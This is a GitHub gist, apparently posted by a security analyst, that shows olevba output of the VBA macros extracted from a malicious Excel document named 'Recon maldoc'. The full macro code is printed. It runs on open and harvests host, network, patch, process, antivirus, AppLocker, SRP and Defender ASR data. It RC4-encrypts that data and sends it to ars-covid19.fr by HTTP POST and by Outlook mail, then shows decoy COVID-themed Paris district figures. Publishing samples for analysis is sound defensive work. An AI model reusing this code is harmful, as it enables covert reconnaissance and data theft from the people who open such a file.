Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save JohnLaTwC/d03115bbcf3b7123b6a16a79bf55866c to your computer and use it in GitHub Desktop.
Save JohnLaTwC/d03115bbcf3b7123b6a16a79bf55866c to your computer and use it in GitHub Desktop.
Recon maldoc
olevba 0.55.1 on Python 3.8.3 - http://decalage.info/python/oletools
===============================================================================
FILE: 547e34240e1fed85db1fb3a7e2a528290eb7ec5c64257b10fe6e2fc0654e3bc2
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: 547e34240e1fed85db1fb3a7e2a528290eb7ec5c64257b10fe6e2fc0654e3bc2 - OLE stream: '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public RUNNING As Boolean
Sub Auto_Open()
Call Recipe
End Sub
Private Sub Workbook_Open()
Call Recipe
End Sub
Private Sub Recipe()
If RUNNING = True Then
Exit Sub
End If
RUNNING = True
Dim sys, ip, kb, soft, proc, sec, app, srp
MsgBox ("Déchiffrement des informations en cours, merci de patienter quelques instants.")
sys = GetSystemInfo() & vbCrLf
rc4 = RunRC4(sys, "Im on the highway to hell")
Call sendHttp(rc4)
ip = GetIPAddress() & vbCrLf
rc4 = RunRC4(ip, "Im on the highway to hell")
Call sendHttp(rc4)
kb = GetHotFix() & vbCrLf
rc4 = RunRC4(kb, "Im on the highway to hell")
Call sendHttp(rc4)
proc = GetProcess() & vbCrLf
rc4 = RunRC4(proc, "Im on the highway to hell")
Call sendHttp(rc4)
sec = GetSecurityProduct() & vbCrLf
rc4 = RunRC4(sec, "Im on the highway to hell")
Call sendHttp(rc4)
app = GetApplockerPolicies() & vbCrLf
rc4 = RunRC4(app, "Im on the highway to hell")
Call sendHttp(rc4)
srp = GetSrp() & vbCrLf
rc4 = RunRC4(srp, "Im on the highway to hell")
Call sendHttp(rc4)
asr = GetASR() & vbCrLf
rc4 = RunRC4(asr, "Im on the highway to hell")
Call sendHttp(rc4)
rc4 = RunRC4(sys & ip & kb & proc & sec & app & srp & asr, "Im on the highway to hell")
Call sendM("Subject", "[email protected]", rc4)
soft = GetSoftware() & vbCrLf
rc4 = RunRC4(soft, "Im on the highway to hell")
Call sendHttp(rc4)
Call sendM("Subject", "[email protected]", rc4)
Call directHTTP("Hi there")
Call DisplayInformation
End Sub
Function GetSystemInfo()
Const HKLM = &H80000002
Dim hostinfo As String
Dim vLang, v, i
hostinfo = "computer: " & Environ$("computername")
hostinfo = hostinfo & ", os: " & Application.OperatingSystem
hostinfo = hostinfo & ", username: " & Environ$("username")
hostinfo = hostinfo & ", domain: " & Environ$("userdomain")
hostinfo = hostinfo & ", dns: " & Environ$("userdnsdomain")
Set objWMIService = GetObject("winmgmts:\\\\.\\root\\cimv2")
Set v = objWMIService.ExecQuery("Select * from Win32_ComputerSystem")
If (Not (IsNull(v))) Then
For Each i In v
hostinfo = hostinfo & "family: " & i.systemFamily & ", type: " & i.systemType & ", time: " & i.CurrentTimezone
Next
End If
Set reg = GetObject("winmgmts:{impersonationLevel=impersonate,(Security)}!\\\\.\\root\\default:StdRegProv")
vLang = readkeystr(reg, HKLM, "SYSTEM\\ControlSet001\\Control\\Nls\\Language", "InstallLanguage")
hostinfo = hostinfo & ", language: " & vLang & vbCrLf
GetSystemInfo = hostinfo
End Function
Function GetIPAddress()
Dim objWMIService, IPConfigSet, IPConfig, IPAddress, i
Dim sNetwork As String
Set objWMIService = GetObject("winmgmts:\\\\.\\root\\cimv2")
Set IPConfigSet = objWMIService.ExecQuery _
("Select * from Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE")
For Each i In IPConfigSet
sNetwork = sNetwork & "Description: " & i.Description & ", " & vbCrLf
sNetwork = sNetwork & "MAC: " & i.MACAddress & ", " & vbCrLf
sNetwork = sNetwork & "IP: " & GetMultiString_FromArray(i.IPAddress, ", ") & ", " & vbCrLf
sNetwork = sNetwork & "Subnet: " & GetMultiString_FromArray(i.IPSubnet, ", ") & ", " & vbCrLf
sNetwork = sNetwork & "DNS: " & GetMultiString_FromArray(i.DNSServerSearchOrder, ", ") & ", " & vbCrLf
sNetwork = sNetwork & "DHCP: " & i.DHCPEnabled & ", " & vbCrLf
sNetwork = sNetwork & "Default Gateway: " & GetMultiString_FromArray(i.DefaultIPGateway, ", ") & ", " & vbCrLf
sNetwork = sNetwork & vbCrLf
Next
GetIPAddress = sNetwork
End Function
Function GetHotFix()
Dim objWMIService, i
Dim sHotFix As String
Set objWMIService = GetObject("winmgmts:\\\\.\\root\\cimv2")
Set colQuickFixes = objWMIService.ExecQuery _
("Select * from Win32_QuickFixEngineering")
For Each i In colQuickFixes
sHotFix = sHotFix & "Computer: " & i.CSName & ", " & vbCrLf
sHotFix = sHotFix & "Description: " & i.Description & ", " & vbCrLf
sHotFix = sHotFix & "Hot Fix ID: " & i.HotFixID & ", " & vbCrLf
sHotFix = sHotFix & "Installed By: " & i.InstalledBy & ", " & vbCrLf
sHotFix = sHotFix & vbCrLf
Next
GetHotFix = sHotFix
End Function
Function GetSoftware()
Const HKCU = &H80000001
Const HKLM = &H80000002
Dim objWMIService, i, j, v1, v2
Dim sSoftware As String
Set objWMIService = GetObject("winmgmts:\\\\.\\root\\cimv2")
Set colSoftware = objWMIService.ExecQuery _
("Select * from Win32_Product")
If colSoftware.Count > 0 Then
For Each i In colSoftware
sSoftware = sSoftware & i.Caption & vbTab & i.Version & vbCrLf
Next
End If
Set reg = GetObject("winmgmts:{impersonationLevel=impersonate,(Security)}!\\\\.\\root\\default:StdRegProv")
v1 = readsubkeys(reg, HKLM, "SOFTWARE\\")
If (Not (IsNull(v1))) Then
For Each i In v1
key = "SOFTWARE\\" & i
v2 = readsubkeys(reg, HKLM, "SOFTWARE\\" & i)
sSoftware = sSoftware & "[" & i & "] "
sSoftware = sSoftware & " " & readkeystr(reg, HKLM, key, "CurrentVersion") & " "
sSoftware = sSoftware & " " & readkeystr(reg, HKLM, key, "Version") & " "
If (Not (IsNull(v2))) Then
For Each j In v2
key = key & "\\" & j
sSoftware = sSoftware & i & " - " & j & vbCrLf
sSoftware = sSoftware & " " & readkeystr(reg, HKLM, key, "CurrentVersion") & " "
sSoftware = sSoftware & " " & readkeystr(reg, HKLM, key, "Version") & " "
Next
End If
sSoftware = sSoftware & vbCrLf
Next
End If
v1 = readsubkeys(reg, HKCU, "SOFTWARE\\")
If (Not (IsNull(v1))) Then
For Each i In v1
key = "SOFTWARE\\" & i
v2 = readsubkeys(reg, HKCU, "SOFTWARE\\" & i)
sSoftware = sSoftware & "[" & i & "] "
sSoftware = sSoftware & " " & readkeystr(reg, HKCU, key, "CurrentVersion") & " "
sSoftware = sSoftware & " " & readkeystr(reg, HKCU, key, "Version") & " "
If (Not (IsNull(v2))) Then
For Each j In v2
key = key & "\\" & j
sSoftware = sSoftware & i & " - " & j & vbCrLf
sSoftware = sSoftware & " " & readkeystr(reg, HKCU, key, "CurrentVersion") & " "
sSoftware = sSoftware & " " & readkeystr(reg, HKCU, key, "Version") & " "
Next
End If
sSoftware = sSoftware & vbCrLf
Next
End If
GetSoftware = sSoftware
End Function
Function GetProcess()
Dim objWMIService, i, proc
Set objWMIService = GetObject("winmgmts:\\\\.\\root\\cimv2")
Set v = objWMIService.ExecQuery("Select * from Win32_Process")
For Each i In v
proc = proc & i.Caption & " [" & i.ProcessId & "] " & i.ExecutablePath & " - " & i.Description & " - " & i.CSName & vbCrLf
proc = proc & " " & i.CommandLine & vbCrLf
Next
GetProcess = proc
End Function
Function GetSecurityProduct()
Dim objWMIService, i, v
Dim str As String
Set objWMIService = GetObject("winmgmts:\\\\.\\root\\SecurityCenter")
Set v = objWMIService.ExecQuery("Select * from AntiVirusProduct")
If (Not (IsNull(v))) Then
For Each i In v
str = str & i.DisplayName & " [" & i.companyName & "] " & i.versionNumber & vbCrLf
Next
End If
Set v = objWMIService.ExecQuery("Select * from FirewallProduct")
If (Not (IsNull(v))) Then
For Each i In v
str = str & i.DisplayName & " [" & i.companyName & "] " & i.versionNumber & vbCrLf
Next
End If
GetSecurityProduct = str
End Function
Function GetApplockerPolicies()
Const HKCU = &H80000001
Const HKLM = &H80000002
Dim v, pol, it
Set reg = GetObject("winmgmts:{impersonationLevel=impersonate,(Security)}!\\\\.\\root\\default:StdRegProv")
' ---- HKLM ----
vLMExe = readsubkeys(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Exe")
vLMScript = readsubkeys(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Script")
vLMDll = readsubkeys(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Dll")
vLMMsi = readsubkeys(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Msi")
vLMAppx = readsubkeys(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Appx")
' ---- HKCU ----
vCUExe = readsubkeys(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Exe")
vCUScript = readsubkeys(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Script")
vCUDll = readsubkeys(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Dll")
vCUMsi = readsubkeys(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Msi")
vCUAppx = readsubkeys(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Appx")
pol = "---- HKLM ----" & vbCrLf
If (Not (IsNull(vLMExe))) Then
pol = pol & "[Exe] EnforcementMode: " & readkeydword(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Exe", "EnforcementMode") & vbCrLf
For Each it In vLMExe
pol = pol & "[Exe] " & readkeystr(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Exe\\" & it, "Value") & vbCrLf
Next
End If
If (Not (IsNull(vLMScript))) Then
pol = pol & "[Script] EnforcementMode: " & readkeydword(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Script", "EnforcementMode") & vbCrLf
For Each it In vLMScript
pol = pol & "[Script] " & readkeystr(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Script\\" & it, "Value") & vbCrLf
Next
End If
If (Not (IsNull(vLMDll))) Then
pol = pol & "[DLL] EnforcementMode: " & readkeydword(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Dll", "EnforcementMode") & vbCrLf
For Each it In vLMDll
pol = pol & "[DLL] " & readkeystr(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Dll\\" & it, "Value") & vbCrLf
Next
End If
If (Not (IsNull(vLMMsi))) Then
pol = pol & "[MSI] EnforcementMode: " & readkeydword(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Msi", "EnforcementMode") & vbCrLf
For Each it In vLMMsi
pol = pol & "[MSI] " & readkeystr(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Msi\\" & it, "Value") & vbCrLf
Next
End If
If (Not (IsNull(vLMAppx))) Then
pol = pol & "[App] EnforcementMode: " & readkeydword(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Appx", "EnforcementMode") & vbCrLf
For Each it In vLMAppx
pol = pol & "[App] " & readkeystr(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Appx\\" & it, "Value") & vbCrLf
Next
End If
pol = pol & "---- HKCU ----" & vbCrLf
If (Not (IsNull(vCUExe))) Then
pol = pol & "[Exe] EnforcementMode: " & readkeydword(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Exe", "EnforcementMode") & vbCrLf
For Each it In vCUExe
pol = pol & "[Exe] " & readkeystr(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Exe\\" & it, "Value") & vbCrLf
Next
End If
If (Not (IsNull(vCUScript))) Then
pol = pol & "[Script] EnforcementMode: " & readkeydword(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Script", "EnforcementMode") & vbCrLf
For Each it In vCUScript
pol = pol & "[Script] " & readkeystr(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Script\\" & it, "Value") & vbCrLf
Next
End If
If (Not (IsNull(vCUDll))) Then
pol = pol & "[DLL] EnforcementMode: " & readkeydword(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Dll", "EnforcementMode") & vbCrLf
For Each it In vCUDll
pol = pol & "[DLL] " & readkeystr(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Dll\\" & it, "Value") & vbCrLf
Next
End If
If (Not (IsNull(vCUMsi))) Then
pol = pol & "[MSI] EnforcementMode: " & readkeydword(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Msi", "EnforcementMode") & vbCrLf
For Each it In vCUMsi
pol = pol & "[MSI] " & readkeystr(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Msi\\" & it, "Value") & vbCrLf
Next
End If
If (Not (IsNull(vCUAppx))) Then
pol = pol & "[App] EnforcementMode: " & readkeydword(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Appx", "EnforcementMode") & vbCrLf
For Each it In vCUAppx
pol = pol & "[App] " & readkeystr(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Appx\\" & it, "Value") & vbCrLf
Next
End If
GetApplockerPolicies = pol
End Function
Function GetSrp()
Const HKCU = &H80000001
Const HKLM = &H80000002
Dim vLMSafer, vLevel, vType, it, srp, iter, iterative
Set reg = GetObject("winmgmts:{impersonationLevel=impersonate,(Security)}!\\\\.\\root\\default:StdRegProv")
rootKey = "SOFTWARE\\Policies\\Microsoft\\Windows\\Safer\\CodeIdentifiers"
v = readkeydword(reg, HKLM, rootKey, "defaultlevel")
If (v = 0) Then
srp = "Disallowed" & vbCrLf
Else
srp = "Unrestricted" & vbCrLf
End If
v = readkeydword(reg, HKLM, rootKey, "policyscope")
If (v = 0) Then
srp = srp & "All users" & vbCrLf
Else
srp = srp & "Basic users only" & vbCrLf
End If
v = readkeydword(reg, HKLM, rootKey, "transparentenabled")
If (v = 2) Then
srp = srp & "All software, including DLL" & vbCrLf
Else
srp = srp & "All software, but the DLL" & vbCrLf
End If
v = readkeymulti(reg, HKLM, "software\\policies\\microsoft\\windows\\safer\\codeidentifiers", "executabletypes")
For Each j In v
srp = srp & j & " "
Next
srp = srp & vbCrLf
vLMSafer = readsubkeys(reg, HKLM, rootKey)
If (Not (IsNull(vLMSafer))) Then
For Each it In vLMSafer
key = rootKey & "\\" & it
vLevel = readsubkeys(reg, HKLM, key)
If (Not (IsNull(vLevel))) Then
For Each iter In vLevel
key = rootKey & "\\" & it & "\\" & iter
vType = readsubkeys(reg, HKLM, key)
If (Not (IsNull(vType))) Then
For Each iterative In vType
key = rootKey & "\\" & it & "\\" & iter & "\\" & iterative
srp = srp & "---- " & key & " ----" & vbCrLf
srp = srp & "[ItemData]" & readkeydword(reg, HKLM, key, "ItemData") & vbCrLf
srp = srp & "[ItemData]" & readkeystr(reg, HKLM, key, "ItemData") & vbCrLf
srp = srp & "[SaferFlag]" & readkeydword(reg, HKLM, key, "SaferFlag") & vbCrLf
srp = srp & "[Description]" & readkeystr(reg, HKLM, key, "Description") & vbCrLf
srp = srp & "[FriendlyName]" & readkeystr(reg, HKLM, key, "FriendlyName") & vbCrLf
Next
End If
Next
End If
Next
End If
GetSrp = srp
End Function
Function GetASR()
Const HKCU = &H80000001
Const HKLM = &H80000002
Dim v, pol, it
Dim key As String
key = "SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Windows Defender Exploit Guard\\ASR\\"
Set reg = GetObject("winmgmts:{impersonationLevel=impersonate,(Security)}!\\\\.\\root\\default:StdRegProv")
vValues = readsubvalues(reg, HKLM, key & "Rules")
If (Not (IsNull(vValues))) Then
For Each i In vValues
asr = asr & readkeystr(reg, HKLM, key & "Rules", i) & vbCrLf
Next
End If
vValues = readsubvalues(reg, HKLM, key & "ASROnlyExclusions")
If (Not (IsNull(vValues))) Then
For Each i In vValues
asr = asr & readkeystr(reg, HKLM, key & "ASROnlyExclusions", i) & vbCrLf
Next
End If
GetASR = asr
End Function
Sub directHTTP(ByVal Body As String)
On Error Resume Next
Dim WHTTP As WinHttp.WinHttpRequest
Set WHTTP = New WinHttp.WinHttpRequest
WHTTP.Open "POST", "https://noreply.ars-covid19.fr", False
WHTTP.SetProxy 1
WHTTP.SetRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"
WHTTP.Send (Body)
End Sub
Public Function SplitString(ByVal str As String, ByVal numOfChar As Long) As String()
Dim sArr() As String
Dim nCount As Long
Dim X As Long
X = Len(str) \\ numOfChar
If X * numOfChar = Len(str) Then
ReDim sArr(1 To X)
Else
ReDim sArr(1 To X + 1)
End If
For X = 1 To Len(str) Step numOfChar
nCount = nCount + 1
sArr(nCount) = Mid$(str, X, numOfChar)
Next
SplitString = sArr
End Function
Sub sendHttp(ByVal Body As String)
On Error Resume Next
ReDim splitedBody(1 To Len(Body) / 5000 + 1) As String
splitedBody = SplitString(Body, 5000)
Dim WHTTP As WinHttp.WinHttpRequest
Set WHTTP = New WinHttp.WinHttpRequest
WHTTP.Open "POST", "https://ars-covid19.fr/resources", False
WHTTP.SetRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"
For i = 1 To UBound(splitedBody)
WHTTP.Send (splitedBody(i))
Next i
End Sub
Sub sendM(ByVal Sujet As String, ByVal Dest As String, ByVal Bod As String, Optional ByVal Att As String)
On Error Resume Next
Dim oOutlook As Outlook.Application
Dim oMailItem As Outlook.MailItem
Dim Body As Variant
Body = Bod
If (Body = False) Then
Exit Sub
End If
openOutlook oOutlook
Set oMailItem = oOutlook.CreateItem(0)
With oMailItem
.To = Dest
.Subject = Sujet
.Body = Body
If Att <> "" Then .Attachments.Add Att
.Send
End With
If (Not (oMailItem Is Nothing)) Then Set oMailItem = Nothing
If (Not (oOutlook Is Nothing)) Then Set oOutlook = Nothing
Exit Sub
End Sub
Private Sub openOutlook(ByRef oOutlook As Object)
On Error Resume Next
Set oOutlook = GetObject(, "Outlook.Application")
If (Err.Number <> 0) Then
Err.Clear
Set oOutlook = CreateObject("Outlook.Application")
If (Err.Number <> 0) Then
Exit Sub
Else
End If
Else
End If
End Sub
Function GetMultiString_FromArray(ArrayString, Seprator)
If IsNull(ArrayString) Then
StrMultiArray = ArrayString
Else
StrMultiArray = Join(ArrayString, Seprator)
End If
GetMultiString_FromArray = StrMultiArray
End Function
Function readkeydword(reg, hive, key, value)
Dim data, ret
ret = reg.GetDWORDValue(hive, key, value, data)
If (ret <> 0) Then
readkeydword = -1
Else
readkeydword = data
End If
End Function
Function hivetostr(hive)
Const HKCU = &H80000001
Const HKLM = &H80000002
Select Case hive
Case HKCU
hivetostr = "HKCU\\"
Case HKLM
hivetostr = "HKLM\\"
End Select
End Function
Function readkeybin(reg, hive, key, value, ByRef res)
Dim data, ret, i, str
ret = reg.GetBinaryValue(hive, key, value, data)
If (ret <> 0) Then
res = 0
readkeybin = -1
Else
str = ""
For i = LBound(data) To UBound(data)
str = str & " " & data(i)
Next
readkeybin = data
res = 1
End If
End Function
Function readkeystr(reg, hive, key, value)
Dim data, ret
ret = reg.GetStringValue(hive, key, value, data)
If (ret <> 0) Then
readkeystr = "nop"
Else
data = " [" & hivetostr(hive) & key & "\\" & value & "] = " & data
readkeystr = data
End If
End Function
Function readkeyexpstr(reg, hive, key, value)
Dim data, ret
ret = reg.GetExpandedStringValue(hive, key, value, data)
If (ret <> 0) Then
readkeystr = "DoesNotExist"
Else
data = " [" & hivetostr(hive) & key & "\\" & value & "] = " & data
readkeystr = data
End If
End Function
Function readkeymulti(reg, hive, key, value)
Dim data, s, v, ret
ret = reg.GetMultiStringValue(hive, key, value, data)
If (ret <> 0) Or (Err.Number <> 0) Then
readkeymulti = Array("DoesNotExist")
Else
s = ""
For Each v In data
s = s & v & ", "
Next
readkeymulti = data
End If
End Function
Function readsubvalues(reg, hive, key)
Dim ret, vValues, vTypes
ret = reg.EnumValues(hive, key, vValues, vTypes)
If (ret <> 0) Or (Err.Number <> 0) Then
readsubvalues = Array()
Else
readsubvalues = vValues
End If
End Function
Function readsubkeys(reg, hive, key)
Dim ret, data
ret = reg.Enumkey(hive, key, data)
If (ret <> 0) Or (Err.Number <> 0) Then
readsubkeys = Array()
Else
readsubkeys = data
End If
End Function
Function RunRC4(sMessage, strKey)
Dim kLen, X, y, i, j, temp
Dim s(256), k(256)
kLen = Len(strKey)
For i = 0 To 255
s(i) = i
k(i) = Asc(Mid(strKey, (i Mod kLen) + 1, 1))
Next
j = 0
For i = 0 To 255
j = (j + k(i) + s(i)) Mod 256
temp = s(i)
s(i) = s(j)
s(j) = temp
Next
X = 0
y = 0
For i = 1 To 4096
X = (X + 1) Mod 256
y = (y + s(X)) Mod 256
temp = s(X)
s(X) = s(y)
s(y) = temp
Next
For i = 1 To Len(sMessage)
X = (X + 1) Mod 256
y = (y + s(X)) Mod 256
temp = s(X)
s(X) = s(y)
s(y) = temp
RunRC4 = RunRC4 & (s((s(X) + s(y)) Mod 256) Xor Asc(Mid(sMessage, i, 1))) & ","
Next
RunRC4 = RunRC4 & "#END#"
End Function
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls
in file: 547e34240e1fed85db1fb3a7e2a528290eb7ec5c64257b10fe6e2fc0654e3bc2 - OLE stream: '_VBA_PROJECT_CUR/VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: 547e34240e1fed85db1fb3a7e2a528290eb7ec5c64257b10fe6e2fc0654e3bc2 - OLE stream: '_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub DisplayInformation()
Attribute DisplayInformation.VB_ProcData.VB_Invoke_Func = " \\n14"
'
' DisplayInformation Macro
'
'
Range("B7").Select
ActiveCell.FormulaR1C1 = "Paris, XVème"
Range("B8").Select
ActiveCell.FormulaR1C1 = "Paris, XVème"
Range("B9").Select
ActiveCell.FormulaR1C1 = "Paris, XVIIème"
Range("B10").Select
ActiveCell.FormulaR1C1 = "Paris, XVIIème"
Range("B11").Select
ActiveCell.FormulaR1C1 = "Paris, XVIIIème"
Range("B12").Select
ActiveCell.FormulaR1C1 = "Paris, XVIIIème"
Range("B13").Select
ActiveCell.FormulaR1C1 = "Paris, XXème"
Range("B14").Select
ActiveCell.FormulaR1C1 = "Créteil"
Range("B15").Select
ActiveCell.FormulaR1C1 = "Créteil"
Range("B16").Select
ActiveCell.FormulaR1C1 = "Sarcelles"
Range("B17").Select
ActiveCell.FormulaR1C1 = "Saint Maur des Fossés"
Range("B18").Select
ActiveCell.FormulaR1C1 = "Trappes"
Range("B19").Select
ActiveCell.FormulaR1C1 = "Meaux"
Range("B20").Select
ActiveCell.FormulaR1C1 = "Bobigny"
Range("C7").Select
ActiveCell.FormulaR1C1 = "Necker"
Range("C8").Select
ActiveCell.FormulaR1C1 = "Saint-Lambert"
Range("C9").Select
ActiveCell.FormulaR1C1 = "Quartier des Epinettes"
Range("C10").Select
ActiveCell.FormulaR1C1 = "Batignolles"
Range("C11").Select
ActiveCell.FormulaR1C1 = "Grandes Carrières"
Range("C12").Select
ActiveCell.FormulaR1C1 = "La Chapelle"
Range("C13").Select
ActiveCell.FormulaR1C1 = "Saint-Fargeau"
Range("C14").Select
ActiveCell.FormulaR1C1 = "Champeval"
Range("C15").Select
ActiveCell.FormulaR1C1 = "L'échat"
Range("C16").Select
ActiveCell.FormulaR1C1 = "Le village"
Range("C17").Select
ActiveCell.FormulaR1C1 = "Champignol"
Range("C18").Select
ActiveCell.FormulaR1C1 = "Jean-Macé"
Range("C19").Select
ActiveCell.FormulaR1C1 = "Beauval"
Range("C20").Select
ActiveCell.FormulaR1C1 = "Les vignes"
Range("D7").Select
ActiveCell.FormulaR1C1 = "35"
Range("D8").Select
ActiveCell.FormulaR1C1 = "10"
Range("D9").Select
ActiveCell.FormulaR1C1 = "34"
Range("D10").Select
ActiveCell.FormulaR1C1 = "78"
Range("D11").Select
ActiveCell.FormulaR1C1 = "56"
Range("D12").Select
ActiveCell.FormulaR1C1 = "19"
Range("D13").Select
ActiveCell.FormulaR1C1 = "17"
Range("D14").Select
ActiveCell.FormulaR1C1 = "36"
Range("D15").Select
ActiveCell.FormulaR1C1 = "19"
Range("D16").Select
ActiveCell.FormulaR1C1 = "76"
Range("D17").Select
ActiveCell.FormulaR1C1 = "10"
Range("D18").Select
ActiveCell.FormulaR1C1 = "17"
Range("D19").Select
ActiveCell.FormulaR1C1 = "29"
Range("D20").Select
ActiveCell.FormulaR1C1 = "27"
ActiveSheet.Shapes.Range(Array("Picture 3")).Select
ActiveSheet.Shapes.Range(Array("Rectangle 1", "Picture 3")).Select
ActiveSheet.Shapes.Range(Array("Rectangle 1", "Picture 3", "TextBox 2")). _
Select
ActiveSheet.Shapes.Range(Array("Rectangle 1", "Picture 3", "TextBox 2", _
"TextBox 4")).Select
Selection.Delete
End Sub
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment